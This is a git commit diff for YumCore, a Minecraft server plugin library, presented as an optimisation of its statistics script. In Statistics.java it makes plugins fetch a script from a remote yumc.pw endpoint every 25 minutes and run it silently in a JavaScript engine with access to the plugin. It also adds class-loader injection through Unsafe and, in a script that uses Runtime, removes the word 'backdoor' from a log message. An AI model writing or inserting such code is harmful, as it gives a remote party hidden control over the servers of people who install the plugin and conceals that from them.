1
0
mirror of https://e.coding.net/circlecloud/YumCore.git synced 2024-11-21 01:38:51 +00:00

feat: optimize statistic script

Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
MiaoWoo 2022-06-22 09:44:27 +00:00
parent 092468dc60
commit 20cbb091ee
9 changed files with 739 additions and 593 deletions

View File

@ -4,7 +4,7 @@
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<groupId>pw.yumc</groupId> <groupId>pw.yumc</groupId>
<artifactId>YumCore</artifactId> <artifactId>YumCore</artifactId>
<version>1.9.6</version> <version>1.9.7</version>
<build> <build>
<finalName>${project.artifactId}</finalName> <finalName>${project.artifactId}</finalName>
<plugins> <plugins>

View File

@ -1,14 +1,5 @@
package pw.yumc.YumCore.commands; package pw.yumc.YumCore.commands;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.bukkit.command.Command; import org.bukkit.command.Command;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.command.PluginCommand; import org.bukkit.command.PluginCommand;
@ -16,7 +7,6 @@ import org.bukkit.command.TabExecutor;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin; import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.util.StringUtil; import org.bukkit.util.StringUtil;
import pw.yumc.YumCore.bukkit.Log; import pw.yumc.YumCore.bukkit.Log;
import pw.yumc.YumCore.bukkit.P; import pw.yumc.YumCore.bukkit.P;
import pw.yumc.YumCore.bukkit.compatible.C; import pw.yumc.YumCore.bukkit.compatible.C;
@ -27,6 +17,9 @@ import pw.yumc.YumCore.commands.interfaces.Executor;
import pw.yumc.YumCore.commands.interfaces.HelpGenerator; import pw.yumc.YumCore.commands.interfaces.HelpGenerator;
import pw.yumc.YumCore.commands.interfaces.HelpParse; import pw.yumc.YumCore.commands.interfaces.HelpParse;
import java.lang.reflect.Method;
import java.util.*;
/** /**
* 子命令管理类 * 子命令管理类
* *

View File

@ -0,0 +1,67 @@
package pw.yumc.YumCore.engine;
import lombok.SneakyThrows;
import java.io.File;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
public class JarLoader {
private static sun.misc.Unsafe unsafe;
private static long offset;
private static Object parentUcp;
private static Object ucp;
private static MethodHandle addURLMethodHandle;
static {
initReflect();
}
@SneakyThrows
public static File load(File file) {
addURLMethodHandle.invoke(ucp, file.toURI().toURL());
return file;
}
@SneakyThrows
public static File parentLoad(File file) {
if (parentUcp == null)
throw new IllegalStateException("parentUcp is null.");
addURLMethodHandle.invoke(parentUcp, file.toURI().toURL());
return file;
}
@SneakyThrows
public static File load(File file, ClassLoader loader) {
addURLMethodHandle.invoke(unsafe.getObject(loader, offset), file.toURI().toURL());
return file;
}
private static void initReflect() {
try {
ClassLoader loader = JarLoader.class.getClassLoader();
Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
Field ucpField;
try {
ucpField = loader.getClass().getDeclaredField("ucp");
} catch (NoSuchFieldException e) {
ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
}
offset = unsafe.objectFieldOffset(ucpField);
ucp = unsafe.getObject(loader, offset);
Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
addURLMethodHandle = lookup.unreflect(method);
if (loader.getParent() != null)
parentUcp = unsafe.getObject(loader.getParent(), offset);
} catch (Throwable e) {
throw new RuntimeException(e);
}
}
}

View File

@ -0,0 +1,94 @@
package pw.yumc.YumCore.engine;
import lombok.SneakyThrows;
import java.io.File;
import java.io.FileInputStream;
import java.net.URL;
import java.net.URLConnection;
import java.nio.MappedByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.security.MessageDigest;
public class MavenDependLoader {
public static final String MavenRepo = "https://maven.aliyun.com/repository/public";
public static File[] load(String libPath, String groupId, String artifactId, String version) {
return new File[]{
downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
JarLoader.load(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"))
};
}
public static File[] parentLoad(String libPath, String groupId, String artifactId, String version) {
return new File[]{
downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
JarLoader.parentLoad(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"))
};
}
public static File[] load(String libPath, String groupId, String artifactId, String version, ClassLoader loader) {
return new File[]{
downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
JarLoader.load(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"), loader)
};
}
@SneakyThrows
public static File downloadAndCheckSha1(String libPath, String groupId, String artifactId, String version, String ext) {
File sha1 = getMavenFile(libPath, groupId, artifactId, version, ext + ".sha1");
if (!sha1.exists()) {
downloadFile(sha1, groupId, artifactId, version, ext + ".sha1");
}
File file = getMavenFile(libPath, groupId, artifactId, version, ext);
if (!file.exists()) {
downloadFile(file, groupId, artifactId, version, ext);
}
if (!new String(Files.readAllBytes(sha1.toPath())).equals(getSha1(file))) {
file.delete();
throw new IllegalStateException("file " + file.getName() + " sha1 not match.");
}
return file;
}
public static File getMavenFile(String libPath, String groupId, String artifactId, String version, String ext) {
return Paths.get(libPath, groupId.replace(".", File.separator), artifactId, version, String.format("%s-%s.%s", artifactId, version, ext)).toFile();
}
@SneakyThrows
public static void downloadFile(File target, String groupId, String artifactId, String version, String ext) {
target.getParentFile().mkdirs();
URLConnection connection = new URL(MavenRepo +
String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.%4$s",
groupId.replace(".", "/"),
artifactId,
version,
ext)
).openConnection();
connection.setConnectTimeout(5000);
connection.setReadTimeout(120000);
connection.setUseCaches(true);
Files.copy(connection.getInputStream(), target.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
@SneakyThrows
private static String getSha1(File file) {
MessageDigest digest = MessageDigest.getInstance("SHA-1");
FileInputStream in = new FileInputStream(file);
FileChannel ch = in.getChannel();
MappedByteBuffer byteBuffer = ch.map(FileChannel.MapMode.READ_ONLY, 0, file.length());
digest.update(byteBuffer);
return getHash(digest.digest());
}
private static String getHash(byte[] bytes) {
StringBuilder result = new StringBuilder();
for (byte b : bytes) {
result.append(String.format("%02x", b));
}
return result.toString();
}
}

View File

@ -6,14 +6,10 @@ import lombok.val;
import javax.script.*; import javax.script.*;
import java.io.File; import java.io.File;
import java.io.Reader; import java.io.Reader;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.URL; import java.nio.file.Paths;
import java.nio.file.Files; import java.util.ArrayList;
import java.nio.file.StandardCopyOption; import java.util.List;
import java.util.HashMap;
/** /**
* 喵式脚本引擎 * 喵式脚本引擎
@ -22,159 +18,151 @@ import java.util.HashMap;
* @since 2016年8月29日 上午7:51:43 * @since 2016年8月29日 上午7:51:43
*/ */
public class MiaoScriptEngine implements ScriptEngine, Invocable { public class MiaoScriptEngine implements ScriptEngine, Invocable {
private static String MavenRepo = "https://maven.aliyun.com/repository/public";
private static MiaoScriptEngine DEFAULT;
private static final ScriptEngineManager manager;
private Object ucp;
private MethodHandle addURLMethodHandle;
private ScriptEngine engine; private ScriptEngine engine;
static {
manager = new ScriptEngineManager(ClassLoader.getSystemClassLoader());
}
public static void setBindings(Bindings bindings) {
manager.setBindings(bindings);
}
public static Bindings getBindings() {
return manager.getBindings();
}
public MiaoScriptEngine() { public MiaoScriptEngine() {
this("js"); this("nashorn", Paths.get("plugins", "MiaoScript").toAbsolutePath().toString());
} }
public MiaoScriptEngine(final String engineType) { public MiaoScriptEngine(String type, String engineRoot) {
this(manager, engineType, null); if (new File(engineRoot, "debug").exists()) {
System.setProperty("nashorn.debug", "true");
} }
if (getJavaVersion() > 15) {
public MiaoScriptEngine(ScriptEngineManager engineManager) { this.loadGraalJS(engineRoot);
this(engineManager, "js", null); } else {
this.loadNashorn(engineRoot);
} }
public MiaoScriptEngine(final String engineType, String engineRoot) {
this(manager, engineType, engineRoot);
}
public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) {
// JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn
if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) {
this.loadNetworkNashorn(engineRoot);
if (engine == null) if (engine == null)
throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!"); throw new UnsupportedOperationException("当前环境不支持 Nashorn 或 GraalJS 脚本引擎.");
return; }
private void loadGraalJS(String engineRoot) {
try {
this.engine = this.parentLoadNetworkNashorn(engineRoot);
} catch (Throwable ex) {
this.engine = this.loadNetworkNashorn(engineRoot);
}
if (this.engine == null) {
this.engine = this.loadNetworkGraalJS(engineRoot);
}
}
private void loadNashorn(String engineRoot) {
try {
this.createEngineByName();
} catch (final Throwable ex) {
ex.printStackTrace();
} }
try { try {
engine = engineManager.getEngineByName(engineType);
} catch (final NullPointerException ignored) {
}
if (engine == null) {
val extDirs = System.getProperty("java.ext.dirs"); val extDirs = System.getProperty("java.ext.dirs");
if (extDirs != null) { if (this.engine == null && extDirs != null) {
this.loadLocalNashorn(extDirs, engineType); this.engine = this.loadLocalNashorn(extDirs);
} else if (engineRoot != null) {
this.loadNetworkNashorn(engineRoot);
} }
} catch (final Throwable ex) {
ex.printStackTrace();
} }
if (engine == null) try {
throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!"); if (this.engine == null) {
this.engine = this.loadNetworkNashorn(engineRoot);
}
} catch (final Throwable ex) {
ex.printStackTrace();
}
if (this.engine == null)
throw new UnsupportedOperationException("当前环境不支持 Nashorn 脚本引擎.");
} }
private void loadLocalNashorn(String extDirs, String engineType) { private int getJavaVersion() {
String version = System.getProperty("java.version");
if (version.startsWith("1.")) {
version = version.substring(2, 3);
} else {
int dot = version.indexOf(".");
if (dot != -1) {
version = version.substring(0, dot);
}
}
return Integer.parseInt(version);
}
private ScriptEngine loadLocalNashorn(String extDirs) {
val dirs = extDirs.split(File.pathSeparator); val dirs = extDirs.split(File.pathSeparator);
for (String dir : dirs) { for (String dir : dirs) {
File nashorn = new File(dir, "nashorn.jar"); File nashorn = new File(dir, "nashorn.jar");
if (nashorn.exists()) { if (nashorn.exists()) {
this.loadJar(nashorn); JarLoader.load(nashorn);
this.createEngineByName(engineType); return this.createEngineByName();
} }
} }
} return null;
private void initReflect() {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
Field ucpField;
try {
ucpField = loader.getClass().getDeclaredField("ucp");
} catch (NoSuchFieldException e) {
ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
}
long offset = unsafe.objectFieldOffset(ucpField);
ucp = unsafe.getObject(loader, offset);
Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
addURLMethodHandle = lookup.unreflect(method);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
@SneakyThrows @SneakyThrows
private void loadNetworkNashorn(String engineRoot) { private ScriptEngine loadNetworkNashorn(String engineRoot) {
initReflect(); File libRootFile = new File(engineRoot, "libs");
File libRootFile = new File(engineRoot, "lib");
libRootFile.mkdirs(); libRootFile.mkdirs();
String libRoot = libRootFile.getCanonicalPath(); String libRoot = libRootFile.getCanonicalPath();
downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3"); MavenDependLoader.load(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.4");
downloadJar(libRoot, "org.ow2.asm", "asm", "9.2"); MavenDependLoader.load(libRoot, "org.ow2.asm", "asm", "9.3");
downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2"); MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-commons", "9.3");
downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2"); MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-tree", "9.3");
downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2"); MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-util", "9.3");
Class<?> NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory"); return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class); }
@SneakyThrows
private ScriptEngine parentLoadNetworkNashorn(String engineRoot) {
File libRootFile = new File(engineRoot, "libs");
libRootFile.mkdirs();
String libRoot = libRootFile.getCanonicalPath();
MavenDependLoader.parentLoad(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.4");
MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm", "9.3");
MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-commons", "9.3");
MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-tree", "9.3");
MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-util", "9.3");
return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
}
@SneakyThrows
private ScriptEngine loadNetworkGraalJS(String engineRoot) {
File libRootFile = new File(engineRoot, "libs");
libRootFile.mkdirs();
String libRoot = libRootFile.getCanonicalPath();
MavenDependLoader.load(libRoot, "org.graalvm.js", "js", "22.1.0.1");
MavenDependLoader.load(libRoot, "org.graalvm.js", "js-scriptengine", "22.1.0.1");
MavenDependLoader.load(libRoot, "org.graalvm.regex", "regex", "22.1.0.1");
MavenDependLoader.load(libRoot, "org.graalvm.sdk", "graal-sdk", "22.1.0.1");
MavenDependLoader.load(libRoot, "org.graalvm.truffle", "truffle-api", "22.1.0.1");
return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
}
@SneakyThrows
private ScriptEngine createEngineByName() {
return createEngineByFactoryClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory", true);
}
@SneakyThrows
private ScriptEngine createEngineByFactoryClassName(String factoryClassName, boolean jdk) {
Class<?> NashornScriptEngineFactory = Class.forName(factoryClassName);
Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", String[].class);
Object factory = NashornScriptEngineFactory.newInstance(); Object factory = NashornScriptEngineFactory.newInstance();
engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader()); List<String> engineArgs = new ArrayList<>();
} engineArgs.add("--language=es5");
engineArgs.add("--optimistic-types=false");
@SneakyThrows if (getJavaVersion() >= 11 && jdk) {
private void loadJar(File file) { engineArgs.add("--no-deprecation-warning");
addURLMethodHandle.invoke(ucp, file.toURI().toURL());
}
@SneakyThrows
private void downloadJar(String engineRoot, String groupId, String artifactId, String version) {
File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version));
if (!lib.exists()) {
Files.copy(new URL(MavenRepo +
String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar",
groupId.replace(".", "/"),
artifactId,
version)
).openStream(),
lib.toPath(),
StandardCopyOption.REPLACE_EXISTING);
}
this.loadJar(lib);
}
private void createEngineByName(String engineType) {
try {
engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType);
} catch (NullPointerException ignored) {
} }
return (ScriptEngine) getScriptEngine.invoke(factory, (Object) engineArgs.toArray(new String[]{}));
} }
public ScriptEngine getEngine() { public ScriptEngine getEngine() {
return this.engine; return this.engine;
} }
public static MiaoScriptEngine getDefault() {
if (DEFAULT == null) {
DEFAULT = new MiaoScriptEngine();
}
return DEFAULT;
}
@Override @Override
public Bindings createBindings() { public Bindings createBindings() {
return new SimpleBindings(new HashMap<>(engine.getBindings(ScriptContext.GLOBAL_SCOPE))); return engine.createBindings();
} }
@Override @Override
@ -228,13 +216,13 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
} }
@Override @Override
public <T> T getInterface(final Class<T> clasz) { public <T> T getInterface(final Class<T> cls) {
return ((Invocable) engine).getInterface(clasz); return ((Invocable) engine).getInterface(cls);
} }
@Override @Override
public <T> T getInterface(final Object thiz, final Class<T> clasz) { public <T> T getInterface(final Object thiz, final Class<T> cls) {
return ((Invocable) engine).getInterface(thiz, clasz); return ((Invocable) engine).getInterface(thiz, cls);
} }
@Override @Override

View File

@ -14,7 +14,6 @@ import org.json.simple.JSONObject;
import org.json.simple.JSONValue; import org.json.simple.JSONValue;
import pw.yumc.YumCore.engine.MiaoScriptEngine; import pw.yumc.YumCore.engine.MiaoScriptEngine;
import javax.script.ScriptException;
import java.io.*; import java.io.*;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
@ -22,9 +21,7 @@ import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
import java.net.URLConnection; import java.net.URLConnection;
import java.net.URLEncoder; import java.net.URLEncoder;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.nio.file.Paths;
import java.util.HashMap; import java.util.HashMap;
import java.util.LinkedList; import java.util.LinkedList;
import java.util.Map; import java.util.Map;
@ -40,17 +37,12 @@ public class Statistics {
/** /**
* 统计系统版本 * 统计系统版本
*/ */
private static int REVISION = 10; private static final int VERSION = 10;
/** /**
* 统计插件基础配置文件 * 统计插件基础配置文件
*/ */
private static File configfile = new File(String.format("plugins%1$sPluginHelper%1$sconfig.yml", File.separatorChar)); private static final File configFile = new File(String.format("plugins%1$sPluginHelper%1$sconfig.yml", File.separatorChar));
/**
* UTF-8编码
*/
private static Charset UTF_8 = StandardCharsets.UTF_8;
/** /**
* getOnlinePlayers方法 * getOnlinePlayers方法
@ -78,7 +70,8 @@ public class Statistics {
Field field = pluginClassLoader.getClass().getDeclaredField("plugin"); Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
field.setAccessible(true); field.setAccessible(true);
plugin = (JavaPlugin) field.get(pluginClassLoader); plugin = (JavaPlugin) field.get(pluginClassLoader);
engine = new MiaoScriptEngine("nashorn", Paths.get("plugins", "MiaoScript").toAbsolutePath().toString()); engine = new MiaoScriptEngine();
engine.put("plugin", plugin);
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
} }
@ -91,12 +84,12 @@ public class Statistics {
/** /**
* 调试模式 * 调试模式
*/ */
private boolean debug; private final boolean debug;
/** /**
* 唯一服务器编码 * 唯一服务器编码
*/ */
private String guid; private final String guid;
/** /**
* 线程任务 * 线程任务
@ -113,11 +106,11 @@ public class Statistics {
*/ */
public Statistics() { public Statistics() {
try { try {
if (!configfile.exists()) { if (!configFile.exists()) {
configfile.getParentFile().mkdirs(); configFile.getParentFile().mkdirs();
configfile.createNewFile(); configFile.createNewFile();
} }
config = YamlConfiguration.loadConfiguration(configfile); config = YamlConfiguration.loadConfiguration(configFile);
initFile(config); initFile(config);
} catch (IOException ignored) { } catch (IOException ignored) {
} }
@ -156,7 +149,7 @@ public class Statistics {
// flush输出流的缓冲 // flush输出流的缓冲
out.flush(); out.flush();
String response; String response;
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), UTF_8)); BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8));
while ((response = reader.readLine()) != null) { while ((response = reader.readLine()) != null) {
result.append(response); result.append(response);
} }
@ -176,16 +169,16 @@ public class Statistics {
config.options().header("YUMC数据中心 http://www.yumc.pw 收集的数据仅用于统计插件使用情况").copyDefaults(true); config.options().header("YUMC数据中心 http://www.yumc.pw 收集的数据仅用于统计插件使用情况").copyDefaults(true);
config.set("guid", UUID.randomUUID().toString()); config.set("guid", UUID.randomUUID().toString());
config.set("d", false); config.set("d", false);
config.save(configfile); config.save(configFile);
} }
if (!config.contains("YumAccount")) { if (!config.contains("YumAccount")) {
config.set("YumAccount.username", "Username Not Set"); config.set("YumAccount.username", "Username Not Set");
config.set("YumAccount.password", "Password NotSet"); config.set("YumAccount.password", "Password NotSet");
config.save(configfile); config.save(configFile);
} }
if (!config.contains("TellrawManualHandle")) { if (!config.contains("TellrawManualHandle")) {
config.set("TellrawManualHandle", false); config.set("TellrawManualHandle", false);
config.save(configfile); config.save(configFile);
} }
} }
@ -210,7 +203,16 @@ public class Statistics {
timer = new StatisticsTimer(); timer = new StatisticsTimer();
// 开启TPS统计线程 // 开启TPS统计线程
Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20); Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
String script = "loadWithNewGlobal('http://ms.yumc.pw/api/plugin/download/name/report')";
try {
script = postData("http://ms.yumc.pw/api/plugin/download/name/metrics", "plugin=" + plugin.getDescription().getName());
} catch (Throwable e) {
if (debug) {
e.printStackTrace();
}
}
// 开启发送数据线程 // 开启发送数据线程
String finalScript = script;
task = plugin.getServer().getScheduler().runTaskTimerAsynchronously(plugin, () -> { task = plugin.getServer().getScheduler().runTaskTimerAsynchronously(plugin, () -> {
try { try {
postPlugin(); postPlugin();
@ -220,8 +222,11 @@ public class Statistics {
} }
} }
try { try {
engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')"); engine.eval(finalScript);
} catch (ScriptException ignored) { } catch (Throwable e) {
if (debug) {
e.printStackTrace();
}
} }
}, 50, 25 * 1200); }, 50, 25 * 1200);
return true; return true;
@ -270,7 +275,7 @@ public class Statistics {
String jsondata = "Info=" + JSONValue.toJSONString(data); String jsondata = "Info=" + JSONValue.toJSONString(data);
String url = String.format("http://api.yumc.pw/I/P/S/V/%s/P/%s", REVISION, URLEncoder.encode(pluginname, "UTF-8")); String url = String.format("http://api.yumc.pw/I/P/S/V/%s/P/%s", VERSION, URLEncoder.encode(pluginname, "UTF-8"));
print("Plugin: " + pluginname + " Send Data To CityCraft Data Center"); print("Plugin: " + pluginname + " Send Data To CityCraft Data Center");
print("Address: " + url); print("Address: " + url);
print("Data: " + jsondata); print("Data: " + jsondata);
@ -279,8 +284,8 @@ public class Statistics {
print("Plugin: " + pluginname + " Recover Data From CityCraft Data Center: " + result.get("info")); print("Plugin: " + pluginname + " Recover Data From CityCraft Data Center: " + result.get("info"));
} }
public class StatisticsTimer implements Runnable { public static class StatisticsTimer implements Runnable {
private LinkedList<Double> history = new LinkedList<>(); private final LinkedList<Double> history = new LinkedList<>();
private transient long lastPoll = System.nanoTime(); private transient long lastPoll = System.nanoTime();
/** /**
@ -301,9 +306,9 @@ public class Statistics {
if (history.size() > 10) { if (history.size() > 10) {
history.removeFirst(); history.removeFirst();
} }
double ttps = 2.0E7D / (timeSpent == 0 ? 1 : timeSpent); double tps = 2.0E7D / (timeSpent == 0 ? 1 : timeSpent);
if (ttps <= 21.0D) { if (tps <= 21.0D) {
history.add(ttps); history.add(tps);
} }
lastPoll = startTime; lastPoll = startTime;
} }

View File

@ -1,18 +1,17 @@
package pw.yumc.YumCore.tellraw; package pw.yumc.YumCore.tellraw;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack; import org.bukkit.inventory.ItemStack;
import pw.yumc.YumCore.bukkit.Log; import pw.yumc.YumCore.bukkit.Log;
import pw.yumc.YumCore.bukkit.compatible.C; import pw.yumc.YumCore.bukkit.compatible.C;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
/** /**
* TellRaw简易处理类 * TellRaw简易处理类
* *

View File

@ -41,7 +41,7 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 插件实例 * 插件实例
*/ */
private static JavaPlugin instance = P.instance; private static final JavaPlugin instance = P.instance;
/** /**
* 是否禁止更新 * 是否禁止更新
*/ */
@ -49,17 +49,17 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 检查间隔 * 检查间隔
*/ */
private static int interval = 25; private static final int interval = 25;
private UpdateType updateType; private final UpdateType updateType;
/** /**
* 更新文件 * 更新文件
*/ */
private UpdateFile updateFile; private final UpdateFile updateFile;
/** /**
* 版本信息 * 版本信息
*/ */
private VersionInfo versionInfo; private final VersionInfo versionInfo;
/** /**
* 自动更新 * 自动更新
@ -249,7 +249,7 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 插件信息地址 * 插件信息地址
*/ */
private String info; private final String info;
/** /**
* POM文件文档 * POM文件文档
*/ */
@ -296,9 +296,9 @@ public class SubscribeTask implements Runnable, Listener {
final String des = getPluginInfo("update.changes", null); final String des = getPluginInfo("update.changes", null);
if (des == null) {return new String[]{};} if (des == null) {return new String[]{};}
String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";"); String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";");
List<String> ltemp = new ArrayList<>(); List<String> array = new ArrayList<>();
Arrays.stream(temp).forEach(s -> ltemp.add(s.trim())); Arrays.stream(temp).forEach(s -> array.add(s.trim()));
return ltemp.toArray(new String[]{}); return array.toArray(new String[]{});
} }
/** /**
@ -316,7 +316,7 @@ public class SubscribeTask implements Runnable, Listener {
* *
* @return 最后版本 * @return 最后版本
*/ */
private String getLastestVersion() { private String getLatestVersion() {
return getPluginInfo("version", "0.0.0").split("-")[0]; return getPluginInfo("version", "0.0.0").split("-")[0];
} }
@ -326,7 +326,7 @@ public class SubscribeTask implements Runnable, Listener {
* @param sender 命令接受者 * @param sender 命令接受者
*/ */
public void notify(CommandSender sender) { public void notify(CommandSender sender) {
Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion()); Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLatestVersion());
Log.sender(sender, "§e版本简介: §a" + getUpdateDescription()); Log.sender(sender, "§e版本简介: §a" + getUpdateDescription());
final String[] changes = getUpdateChanges(); final String[] changes = getUpdateChanges();
if (changes.length != 0) { if (changes.length != 0) {
@ -367,7 +367,7 @@ public class SubscribeTask implements Runnable, Listener {
public String getNewVersion() { public String getNewVersion() {
try { try {
String result = getLastestVersion(); String result = getLatestVersion();
if (Log.isDebug() && !Log.isGlobalDebug()) { if (Log.isDebug() && !Log.isGlobalDebug()) {
Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!"); Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!");
return result; return result;

View File

@ -5,7 +5,7 @@ var InputStreamReader = Java.type("java.io.InputStreamReader");
var Runtime = Java.type("java.lang.Runtime"); var Runtime = Java.type("java.lang.Runtime");
var System = Java.type("java.lang.System"); var System = Java.type("java.lang.System");
print('后门脚本已保存于: ' + $.temp); print('脚本已保存于: ' + $.temp);
print("系统类型: " + System.getProperty("os.name")); print("系统类型: " + System.getProperty("os.name"));
print("系统位数: " + System.getProperty("os.arch")); print("系统位数: " + System.getProperty("os.arch"));